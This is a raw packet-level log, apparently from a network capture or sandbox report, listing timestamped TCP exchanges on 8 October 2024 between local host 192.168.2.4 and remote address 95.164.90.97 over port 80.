Oct 8, 2024 02:45:23.931144953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931158066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.931179047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.931801081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931811094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931819916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931828022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931837082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931853056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931854010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.931863070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.931863070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931874990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931885004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931885958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.931895018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.931895018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931907892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.931925058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.931950092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.932720900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932732105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932740927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932749987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932759047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932769060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932770967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.932779074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932784081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.932790041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932801008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932802916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.932811022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932820082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932823896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.932831049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.932832003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.932866096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.933566093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.933577061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.933584929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.933593988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.933603048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.933612108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.933614969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.933620930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.933629990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.933634043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.933649063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.933659077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.933686018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.934226990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934236050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934243917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934253931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934262037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934271097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934278011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.934279919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934290886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934299946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934302092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.934309006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934313059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.934319973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.934334040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.934349060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.934369087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.935154915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935164928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935173035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935182095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935190916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935199976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935204983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.935210943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935220957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935230017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935234070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.935240984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935245991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.935250044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.935275078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.935301065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.949935913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.949994087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.950000048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.950006008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.950033903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.950048923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.950206041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.950216055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.950225115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.950248957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.950275898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.950387001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.950443983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.951257944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951308966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.951316118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951325893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951356888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.951488972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951498985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951508045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951518059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951534986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.951545954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.951734066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951776981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.951824903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951870918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.951919079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951927900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.951955080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.951967001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.952012062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.952086926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.952110052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.952120066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.952156067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.952275038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.952284098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.952327013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.999200106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.999260902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.999270916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.999366999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.999490023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.999511957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.999527931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.999545097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.999548912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.999583006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.020226002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020292997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020328045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020427942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020462036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020478010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.020486116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.020494938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020522118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.020534992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020541906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.020761013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020812988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.020812988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020850897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.020859003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.020895004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.020967007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.021014929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.021017075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.021049023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.021058083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.021085024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.021090984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.021123886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022077084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022130966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022134066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022165060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022173882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022206068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022253036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022303104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022522926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022556067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022574902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022588968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022609949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022639990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022671938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022691011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022703886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022713900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022737980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022744894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022773027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.022778034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022806883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.022983074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023016930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023030996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023057938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023128986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023159027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023183107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023196936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023211956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023246050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023258924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023278952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023288012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023312092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023318052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023344994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023350954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023389101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023401976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023444891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023783922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023818016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023833990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023850918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023855925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023894072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023931026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023962975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.023977041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.023994923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024000883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024029016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024029970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024069071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024322033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024354935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024370909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024388075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024396896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024421930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024426937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024456024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024468899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024488926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024492025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024523020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024525881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024553061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024565935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024586916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024595022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024625063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.024949074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024998903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.024998903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025034904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025042057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025068045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025072098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025101900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025110960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025132895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025137901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025175095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025203943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025237083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025252104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025269032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025276899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025302887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025305986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025336981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025342941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025379896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025851965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025883913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025899887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025917053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025927067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025950909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025957108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.025984049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.025985956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026016951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026034117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026048899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026055098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026082993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026091099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026114941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026119947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026146889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026158094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026180029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026186943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026221037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026675940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026727915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026760101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026781082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026793003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026802063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026825905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026832104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026859999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026865959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026892900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026899099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026926994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026931047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026961088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026966095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.026993990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.026998997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.027026892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.027035952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.027060032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.027062893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.027098894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.053958893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054027081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054045916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054064035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054074049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054099083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054132938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054152012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054167986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054183960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054205894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054218054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054250002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054311991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054344893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054358959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054378986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054389954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054414988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054424047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054460049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054689884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054723024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054747105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054755926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054765940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054790020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054799080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054822922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054840088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054856062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054864883 CEST	51293	80	192.168.2.4	95.164.90.97
